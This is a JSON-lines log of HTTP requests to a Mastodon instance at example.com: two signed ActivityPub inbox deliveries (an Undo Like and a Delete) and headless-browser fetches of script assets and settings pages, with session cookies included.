{"method": "POST", "target": "/users/admin/inbox", "headers": ["Content-Length: 373", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=UgQfHBUUDM89PRrl0gj8GsurcmRjPEB5+9r/l9vo3vQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"KMdRd+Opvw3d5VhupOzufUkMwzjKv7qwpjgtRmQG+3MZBxYvbRFD4p9Gla7dgZV+SPib45PKM/EFFySMW+DeXRtKrRRWnLgKuPrhnOgyTNERedyM1OyVg0+qeBHqiglhsyQhqMuBmOSbTRkTj7hWSE7n0DPHE3T0f0F32QBcZbqZP9gpokx263q0685NeSgG3mP/nSmzdGmj36Qm98VOF9Dy9Mi2qc69ir8iuK1hZ4FyV3dMSUIzz0MhMLckJovT5qia3krZpUcwCCHAp7CTYkceCTCcKGUHrOyXGd8Fag7+64cxbJfyRs4XmsqO46YO1U3PeEorEXtxsB2Hn24+eg==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/users/alice#likes/1/undo\",\"type\":\"Undo\",\"actor\":\"https://remote.example/users/alice\",\"object\":{\"id\":\"https://remote.example/users/alice#likes/1\",\"type\":\"Like\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102/statuses/117589416124674245\"}}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 381", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=HzeBjo3QT/HbRja3P31DXyJbj0QTXdYK0QtcfF0hD0g=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"DujtT4MF2ggyz2sf+yG9xyQ462fMjrpAPuAhXFSSaF4TxvRSoRtffum+CiFkfStr3+Sh916tsmbpTs46abABbxho4yr0kbq8a3MA/8hDYHvn1nd2NGCQPS0k8Z45FyMfCjFU8leKVPodsYf7A6EGnWDXlMbzXVNMOdk87ac005cVRDPMVgTrlWlhx/yUK3jq0ou6qQ863aoVFi6SgL9HUZ5cLLhd1fdHuh5KtnfljQQRoKANkYaw2B+yWq9TQRCjzejykN1NFP/El24kTBY0OBYeA8XahF0fxtZ7tBrLQWOFoz86Jq53ThZ5V+/j0xwEVtBKctpgFTy2DVLqM+Ipog==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\",{\"ostatus\":\"http://ostatus.org#\"}],\"id\":\"https://remote.example/users/alice/statuses/201#delete\",\"type\":\"Delete\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/201\",\"type\":\"Tombstone\"}}"}
|
||||||
|
{"method": "GET", "target": "/packs/_rolldown_dynamic_import_helper-CIAwlR2T.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=i720m4UFRf86zskblaDOUW1rQERQTPJYkE92b%2BBB%2Ft%2B9DS0LTl%2BmXDsFh%2Fumfk5n%2FScHlJ0N5w0R0CrNv0bj9lSbZ%2BHLUP6zL%2FXpQTBEWE%2BjpgQsd8rfGa8NlxQG7K%2BFjYpkT89deMWIe8h%2BPx%2Bi3Z4IjxZPbc1r9jCOI0bX8A7GMvNMMictfobxlNFIGwaUKpP49WyLhch1SX9JPrm2SOARPMqKSqMcjjmsDuVPjitlDOZbgQCKWCqyj2uhUqS1YrA6oFgzEOzdwRQ4QWIRBo0fkeL3sPwRMQ%3D%3D--3RO7P3SwebpcHVO9--vIbr1ajbFDY%2FgdulCJy1lA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-router-BkmJBoOP.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/poll-DVpd4t8I.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/index.module-y4HS80Z2.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/profile", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzYuMzEyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2b2d554d36244ec0ded4f9dc92f3bf990457816d; _mastodon_session=agNl7LWIG355YWeZoE9SUyfcVahX%2BfsgJxDOUlCuGbavu24jUhxGGpSNAw8jl6rS8hhWj5tCEpbieWB%2FoKYTpMFP4Hv8R1eF90DfYDQPNPhR0%2FdJBBZ3b09gfcJHp8LeDYZ2sc%2ForWwoL9X5WZ22FGTXa7%2BVaf1AOpQ%2F%2BHxpghIyz2rPQ8BNN2Ja4X72dcVKyBdNgz0jQI%2BXJDSi9vpBsRHTsylQgrimimtel5Urrv39Cu3yFdQZxHgWNWKVcRcqiUrnl5xIqoqSL1Wf6k51HgNvg%2Fk4EMUmncbegj6tteKqqmHJG8%2F13is46i6rcNEO9VsQmd1EAyPxZg%2FORGpDvqV8yrpWZ8W5%2FyANFB29U84HSgWiEcEDC2xfiuS9MyFZxDCHdG4TwO%2Bp--9%2BLKZ0Tixx9%2B%2BkYK--EAknFNpNQz6F42uTSpQziA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6MzcuNTE3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3e7c54b28369188badc6f8f5bfa586770bb7e8a7; _mastodon_session=XG1JBX9t9GQ%2FXvhB00Fxs6T4bV20mNlRFWssv4JmGJgIMso%2F2Y8oTL25pkcKiLbmNA0sBcJIWoJVCVP53UwVofCfP1H5kH336QYqo7EEThCFKa6XtpSta7lbSpjEpZYK3z2O%2BKpmTT%2BpxhC1KtvMrN3JwHovOJ3Wv3qkz2GnVuOi8%2BdPSvOmRTqJVNS9VS6OBe1kriv3wkBehd9%2FaMupwZmG2hjKTmjSQ4utuDreCaYxz9nX6%2FYq%2FdMpEMEPV6lMwrJxqMez3UJiU8L4r%2BOXMYLj%2B48bHhGamERy4HnE66R2%2FES10SxAjGBzzVSS%2BUjfASQfBzsrMb814nMiS3vgzuWrRKXGoO7GdFTmJuk5741%2FrUqzDxwlVKkwlAq3jH4WzSAroOrsI02a--BRX%2BwQfrnNolRoFW--lN7N80Wre%2F4BfT6emfcRaw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/initial_state-DnZ5UeDQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/privacy", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTIuOTg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f06c4a187472007ec80e4e16dd7c7bc5407eba76; _mastodon_session=QzNd%2B7s6RDu2pZvOPvursIx0RViZPk4FjWVqadE7TJbySS7hzA7ax3JucFyHA6ebS5NmsSJzo3Rq5a4wj%2BO%2FjwLYUM4CNUr8R8XsW7osNO39Q9Kd1m0ZafMiTXoflmIrtxu2TL%2BG6nzjRK3FCoQIv31CGtJhvA%2FBnD%2FGfsVe37lfH5ET94Wcf1dlHyEJfgW9nPpK08GhHMva7gbBrAOvIx9%2BjFRg%2FY4%2BLh27Z%2Bp9zO7JWg46LMTwosPT3WUA6LE3PVJuVS5bu2KxMlNU1PrNerK2aejiaqH13tdafiReP%2BCozkXm4UVvqSIhr%2BuGL9glbZSW6w2Pmwe886p1oTygtBtPOUkfQndAyDDHGpL6ABzJayJctEvyxDaGBXCB5gG4klAZMsRieMwA--1iV1U2xDOJ3%2F5PPZ--zld9kYcPYij9nhIL1AcMhQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/inert-1no54Nn4.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/preferences/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/filters/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTguNTMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--24e18be452656feeab86ad6cb063cc017e5d9d2b; _mastodon_session=RMx%2BzbbCPxKsZLL8xfC2vJk2gUMp%2F7NzSrirNmOuKt0YoaZ0X2oFOG4c9ggZmd%2FO%2Bd7BzMzTP0BIQv4cDxdb0r2Z%2FYZRAV94puVDupS7sU1yXzK21BHq5V4ikIm53DJL76wgr%2BWQ7197g188iWFzwMIB9YQsq0onkxgxXwdlcOEsGhGyjCndxCcR42rM2SBAfuafvEAKzgl43lslIXavoAwPcfGeJkB%2F8vYlid8nkj2r5l8QWaoNDnHMyE8VVbipYp3SWQ1iqUwLF4dQt9S2OZ8PI5oH%2FiJFEPO%2FEk%2BJ%2B2%2Fs%2BWvZQUZy3tv5JCUYK4QWZKxW58QyZQVkMuOzTT9BvOIzvri1ZtsQk1aZnESH%2FSB8V%2F%2FpGPz%2B3TiYO8HlMh8FRtpE32FTMJ7Z--o7%2BacWwQZ76tpCov--%2F4geSPBo1DUX4hIfR58gSg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
